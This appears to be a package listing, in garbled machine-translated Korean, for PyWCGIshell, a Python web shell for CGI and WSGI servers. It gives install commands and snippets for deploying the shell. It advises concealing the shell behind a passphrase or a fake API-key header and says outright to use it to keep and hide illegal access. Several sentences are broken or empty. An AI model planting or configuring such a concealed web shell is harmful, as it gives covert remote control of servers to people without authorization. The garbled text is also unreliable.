PyWCGIshell
1.0.0
이 패키지는 CGI 및 WSGI 서버 용 웹 쉘을 구현합니다.
이 웹 쉘을 사용하면 다음과 같습니다.
이 패키지는 다음과 같습니다.
pip install PyWCGIshell(명령 줄은 웹 쉘을 시도하는 데 유용합니다)
python3 -m PyWCGIshell wsgi # Try it in wsgi mode from PyWCGIshell import WebShell
def my_default_cgi_page ():
print ( "Content-type:text/plain; charset=utf-8" )
print ( "" )
print ( "Hello World !" )
webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run () from PyWCGIshell import WebShell
def my_default_wsgi_page ( environ , start_response ):
status = '200 OK'
headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
start_response ( status , headers )
return [ b"Hello World !" ]
webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function from PyWCGIshell import WebShell
webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run () pass_type 와 같은 method 사용하여 웹 쉘을 숨기는 것이 좋습니다.
유사한 구성을 사용하여 웹 쉘을 숨길 수 있습니다.
from PyWCGIshell import WebShell
webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . run이 웹 쉘을 사용하려면 :
웹 스크립트에 pywcgishell을 설치하고 구성하여 불법적 인 액세스를 유지하고 숨기십시오 (Repo는 여기에 있습니다).
웹 스크립트의 웹 쉘 - YouTube
GPL, 버전 3에 따라 라이센스가 부여되었습니다.